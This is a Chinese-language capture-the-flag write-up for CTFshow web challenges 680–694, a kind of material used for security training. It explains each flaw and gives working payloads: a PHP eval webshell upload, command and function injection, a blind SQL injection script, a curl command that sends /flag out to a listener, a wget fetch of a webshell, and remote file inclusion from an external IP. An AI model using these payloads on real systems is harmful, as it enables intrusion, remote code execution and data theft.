CTFshow大赛原题
680
post传入code=phpinfo();
执行成功,查看被ban函数,无法执行命令,使用原生类查看文件
code=$a=new FilesystemIterator(".");var_dump ($a);
下载文件即可
681
抓包发现返回内容为sql语句
过滤了空格和引号,会被吞,尝试构造payload,发现#可用,\可用,构造语句||1#\
此时执行语句为
select count(*) from ctfshow_users where username = '||1#\' or nickname = '||1#\'
相当于判断username是否等于||1' or nickname =
这一字符串或一,结果永真,登录即可拿到flag
682
这辈子第一次碰到js代码审计,看呗
var c2n = c =>{
if(c.length>1){
return 0
}
if(c.charCodeAt()>0x60 && c.charCodeAt()<0x67){
return c.charCodeAt()-0x57
}
if(parseInt(c)>0){
return parseInt(c)
}
return 0;
}
var s2n2su = s =>{
r=0
for (var i = s.length - 1; i >= 0; i--) {
r+=c2n(s[i])
}
return r
}
function test(){
var m=document.getElementById("message").value;
var e = 'error';
if(sha256(m)!=="e3a331710b01ff3b3e34d5f61c2c9e1393ccba3e31f814e7debd537c97ed7d3d"){
return alert(e)
}
var start = m.substring(0,8);
if(start!=='ctfshow{'){
return alert(e);
}
if(m.substring(m.length,m.length-1)!=="}"){
return alert(e);
}
var s = m.substring(8,m.length-1)
if(s.length!==36){
return alert(e);
}
var k = s.split("-")
if(k.length!==5){
return alert(e)
}
if(s2n2su(k[0])!==63){
return alert(e)
}
if(sha256(k[0].substr(0,4))!=="c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400"){
return alert(e)
}
if(sha256(k[0].substr(4,8))!=="f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc"){
return alert(e)
}
if(parseInt(k[1][0])!==(c2n('a')-1)){
return alert(e)
}
if(k[1][1]+k[1][2]+k[1][3]!=='dda'){
return alert(e)
}
if(k[2][1]!=='e'){
return alert(e)
}
if(k[2][0]+k[2][2]+k[2][3]!=0x1ae){
return alert(e)
}
if(parseInt(k[3][0])!==(c2n('a')-1)){
return alert(e)
}
if(parseInt(k[3][1])!==parseInt(k[3][3])){
return alert(e)
}
if(parseInt(k[3][3])*2+c2n('a')!==0x12){
return alert(e)
}
if(sha224(k[3][2])!=='abd37534c7d9a2efb9465de931cd7055ffdb8879563ae98078d6d6d5'){
return alert(e)
}
if(st3(k[4])!=='GVSTMNDGGQ2DSOLBGUZA===='){
return alert(e)
}
alert('you are right')
}
const Base64 = {
_keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
encode: function (e) {
var t = "";
var n, r, i, s, o, u, a;
var f = 0;
e = Base64._utf8_encode(e);
while (f < e.length) {
n = e.charCodeAt(f++);
r = e.charCodeAt(f++);
i = e.charCodeAt(f++);
s = n >> 2;
o = (n & 3) << 4 | r >> 4;
u = (r & 15) << 2 | i >> 6;
a = i & 63;
if (isNaN(r)) {
u = a = 64
} else if (isNaN(i)) {
a = 64
}
t = t + this._keyStr.charAt(s) + this._keyStr.charAt(o) + this._keyStr.charAt(u) + this._keyStr.charAt(a)
}
return t
},
decode: function (e) {
var t = "";
var n, r, i;
var s, o, u, a;
var f = 0;
e = e.replace(/[^A-Za-z0-9+/=]/g, "");
while (f < e.length) {
s = this._keyStr.indexOf(e.charAt(f++));
o = this._keyStr.indexOf(e.charAt(f++));
u = this._keyStr.indexOf(e.charAt(f++));
a = this._keyStr.indexOf(e.charAt(f++));
n = s << 2 | o >> 4;
r = (o & 15) << 4 | u >> 2;
i = (u & 3) << 6 | a;
t = t + String.fromCharCode(n);
if (u != 64) {
t = t + String.fromCharCode(r)
}
if (a != 64) {
t = t + String.fromCharCode(i)
}
}
t = Base64._utf8_decode(t);
return t
},
_utf8_encode: function (e) {
e = e.replace(/rn/g, "n");
var t = "";
for (var n = 0; n < e.length; n++) {
var r = e.charCodeAt(n);
if (r < 128) {
t += String.fromCharCode(r)
} else if (r > 127 && r < 2048) {
t += String.fromCharCode(r >> 6 | 192);
t += String.fromCharCode(r & 63 | 128)
} else {
t += String.fromCharCode(r >> 12 | 224);
t += String.fromCharCode(r >> 6 & 63 | 128);
t += String.fromCharCode(r & 63 | 128)
}
}
return t
},
_utf8_decode: function (e) {
var t = "";
var n = 0;
var r = c1 = c2 = 0;
while (n < e.length) {
r = e.charCodeAt(n);
if (r < 128) {
t += String.fromCharCode(r);
n++
} else if (r > 191 && r < 224) {
c2 = e.charCodeAt(n + 1);
t += String.fromCharCode((r & 31) << 6 | c2 & 63);
n += 2
} else {
c2 = e.charCodeAt(n + 1);
c3 = e.charCodeAt(n + 2);
t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);
n += 3
}
}
return t
}
}
function st3(srcString) {
if (!srcString) {
return '';
}
let BASE32CHAR = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
let i = 0;
let index = 0;
let digit = 0;
let currByte;
let nextByte;
let retrunString = '';
srcString = Base64._utf8_encode(srcString);
for (let i = 0; i < srcString.length;) {
currByte = (srcString.charCodeAt(i) >= 0) ? srcString.charCodeAt(i)
: (srcString.charCodeAt(i) + 256);
if (index > 3) {
if ((i + 1) < srcString.length) {
nextByte = (srcString.charCodeAt(i + 1) >= 0)
? srcString.charCodeAt(i + 1)
: (srcString.charCodeAt(i + 1) + 256);
} else {
nextByte = 0;
}
digit = currByte & (0xFF >> index);
index = (index + 5) % 8;
digit <<= index;
digit |= (nextByte >> (8 - index));
i++;
} else {
digit = (currByte >> (8 - (index + 5))) & 0x1F;
index = (index + 5) % 8;
if (index == 0) {
i++;
}
}
retrunString = retrunString + BASE32CHAR.charAt(digit);
}
while((retrunString.length % 8) !== 0){
retrunString += "=";
}
return retrunString;
}
分析代码,要求flag符合下列条件
- 前八位为字符串
ctfshow{
,结尾为}
- flag经过sha256运算的结果为
e3a331710b01ff3b3e34d5f61c2c9e1393ccba3e31f814e7debd537c97ed7d3d
- 中间内容长度为36,有4个UUID分块
-
- c2n函数的作用:将UUID中的内容转换为10进制数
- s2n2su函数的作用:将UUID中每一位的数字相加并返回最终的值
- 第一个UUID分段的UUID和值为63
- 第一个UUID分段的前四位经过sha256运算后的结果是
c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400
,结果为592b
- 第一个UUID分段后4位经过sha256运算后的结果是
f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc
,结果为9d77
- 第二个UUID分段是
9dda
- 第三个UUID的第二位是e,并且剩余三位的连接后为430
- 第四个UUID为
94a4
- 第五个UUID经过base32编码结果为
GVSTMNDGGQ2DSOLBGUZA====
最终构造出flag
ctfshow{592b9d77-9dda-4e30-94a4-5e64f4499a52}
顺便贴个爆破脚本
import hashlib
from itertools import *
string="0123456789abcdef"
k=product(string,repeat=4)
for i in k:
aaa="".join(i)
out1 = hashlib.sha256(aaa.encode("utf-8")).hexdigest()
if(out1=='c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400'):
print(aaa)
if(out1=='f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc'):
print(aaa)
683
明显的弱类型比较
<?php
include "flag.php";
if(isset($_GET['秀'])){
if(!is_numeric($_GET['秀'])){
die('必须是数字');
}else if($_GET['秀'] < 60 * 60 * 24 * 30 * 2){
die('你太短了');
}else if($_GET['秀'] > 60 * 60 * 24 * 30 * 3){
die('你太长了');
}else{
sleep((int)$_GET['秀']);
echo $flag;
}
}
自动转换时xex会被转换为原始数字,int强制转换string时取到字母停止
payload:?秀=0.6e7
684
源码在此
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
变量$action要出现数字字母以外的字符,还要执行函数,使用\create_function,这里利用的是php环境中默认的namespace
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。 接下来第二个参数可以引发危险的函数。
create_function()是PHP中的内置函数,用于在PHP中创建匿名(lambda-style)函数。
用法:
string create_function ( $args, $code )
参数:该函数接受以下两个参数:
- **$args:**它是一个字符串类型的函数参数。
- **$code:**它是字符串类型的函数代码。
注意:通常,这些参数将作为单引号分隔的字符串传递。使用单引号引起来的字符串的原因是为了防止变量名被解析,否则,将需要双引号来转义变量名,例如\ $avar。
返回值:此函数以字符串形式返回唯一的函数名称,否则,在错误时返回FALSE。
而对于create_function函数来说,实际执行的内容如下
function noname($args) { $code }
结尾我们使用}闭合,最终的payload如下
payload:?action=%5ccreate_function&arg=}system('tac /secret_you_never_know');/*
685
利用正则最大回溯次数绕过
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过正则表达式了。
import requests
url="http://b826efef-6cde-4fa8-84d3-4cb699605ab2.challenge.ctf.show"
files={
'file':'<?php eval($_POST[1]);?>'+'b'*1000000
}
r=requests.post(url,files=files)
print(r.text)
686
无参RCE
payload:?code=system(current(getallheaders()));
X-Forwarded-Host: cat /secret_you_never_know
687
换行执行命令
payload:?ip=1%0atac /flaaag
688
俩函数一起用有的问题
escapeshellarg(); escapeshellcmd();
payload:?url=http://监听使用的ip:port/' -F file=@/flag'
实际传入shell的是
curl 'http://IP:端口/'\\'' -F file=@/flag'\\'''
直接带出文件
689
<?php
error_reporting(0);
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = "upload/".$_GET['path'];
}else{
show_source(__FILE__);
exit();
}
if(strpos($path,'..') > -1){
die('This is a waf!');
}
if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
echo "Hello.CTFshow";
}
这里在path位置没有过滤,也就是说不管我们在path位置写入什么都会原封不动的返回,所以此时我们让docker访问自己,在path处传入木马即可
http://f784bf7a-ace9-414a-bbfd-cfd348cefd95.challenge.ctf.show/?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=%3C?php%20eval($_POST[1]);?%3E&path=b.php
690
<?php
highlight_file(__FILE__);
error_reporting(0);
$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) )
exit("sorry");
}
exec('./ ' . implode(" ", $args));
传入的命令中只能有字母和数字,执行命令可用换行绕过,问题是我们要如何构造命令来执行,首先因为没有回显,所以直接执行是行不通的,那可以尝试写一个文件,构造一个服务器返回内容为一句话木马的脚本
构造如下命令
mkdir a
cd a
wget 10进制服务器IP
此时a文件夹下就有一个index.html内容为一句话木马,但是我们还没办法执行,此时我们利用tar来将文件类型进行更改
tar cvf shell a
将a文件夹打包成一个shell文件就可以执行了
691
<?php
include('inc.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($str){
$filterlist = "/\(|\)|username|password|where|
case|when|like|regexp|into|limit|=|for|;/";
if(preg_match($filterlist,strtolower($str))){
die("illegal input!");
}
return $str;
}
$username = isset($_POST['username'])?
filter($_POST['username']):die("please input username!");
$password = isset($_POST['password'])?
filter($_POST['password']):die("please input password!");
$sql = "select * from admin where username =
'$username' and password = '$password' ";
$res = $conn -> query($sql);
if($res->num_rows>0){
$row = $res -> fetch_assoc();
if($row['id']){
echo $row['username'];
}
}else{
echo "The content in the password column is the flag!";
}
?>
order by盲注,贴个链接,原理就是通过password位置的字符串的比较导致回显中username的内容不同来判断结果,直接写脚本吧
import requests
flagstr="-01234567890abcdefghiostw{}---"
url="http://9446af78-f5bd-4d30-94b4-05dc5eb8f887.challenge.ctf.show/"
flag=""
for i in range(0,100):
for j in range(1,len(flagstr)):
tmp=flag+flagstr[j]
data={'username':f"'or 1 union select 1,2,'{tmp}' order by 3#","password":"1"}
tex=requests.post(url=url,data=data).text
if "</code>admin" in tex:
print(flag+flagstr[j-1])
flag=flag+flagstr[j-1]
break
692
看一下preg_replace函数的用法
preg_replace
(PHP 4, PHP 5, PHP 7, PHP 8)
preg_replace — 执行一个正则表达式的搜索和替换
说明
preg_replace( string|array $pattern, string|array $replacement, string|array $subject, int $limit = -1, int &$count = null ): string|array|null
搜索
subject
中匹配pattern
的部分,以replacement
进行替换。replacement
用于替换的字符串或字符串数组。如果这个参数是一个字符串,并且
pattern
是一个数组,那么所有的模式都使用这个字符串进行替换。如果pattern
和replacement
都是数组,每个pattern
使用replacement
中对应的元素进行替换。如果replacement
中的元素比pattern
中的少,多出来的pattern
使用空字符串进行替换。
replacement
中可以包含后向引用\\n
或$n
,语法上首选后者。 每个这样的引用将被匹配到的第 n 个捕获子组捕获到的文本替换。 n 可以是0-99,\\0
和$0
代表完整的模式匹配文本。捕获子组的序号计数方式为:代表捕获子组的左括号从左到右, 从1开始数。如果要在replacement
中使用反斜线,必须使用 4 个("\\\\"
,译注:因为这首先是 PHP 的字符串,经过转义后,是两个,再经过正则表达式引擎后才被认为是一个原文反斜线)。
此处如果将replacement中内容放入\\0
那么就会直接匹配前面pattern中的结果
preg_replace中的第二个参数如果是%00也就是ascii中的0,那么将会匹配到整个字符串。
比如初始的字符串为
$option=’123’;
如果执行
preg_replace(“$option=’.*’;”,”\x00”,$a)
那么返回的结果是
$option=’$option=’123’;’;
其实就是把原来的字符串又放到单引号里面了。
假设我们第一次传option=;phpinfo();//
首先config.php中的内容会被替换成$option=’;phpinfo();//‘。
如果我们第二次传option=%00
那么最终的结果是$option=’$option=’;phpinfo();//‘’
这样就逃出了单引号,phpinfo()也就执行成功
————————————————
版权声明:本文为CSDN博主「yu22x」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/miuzzx/article/details/122998220
693
extract函数加远程文件包含
?function=extract&file=http://45.15.131.101/
694
构造X-Forwarded-For请求头为文件名,file为.即可直接写入到请求头所构造的文件名中
/var/www/html/a.php/.
695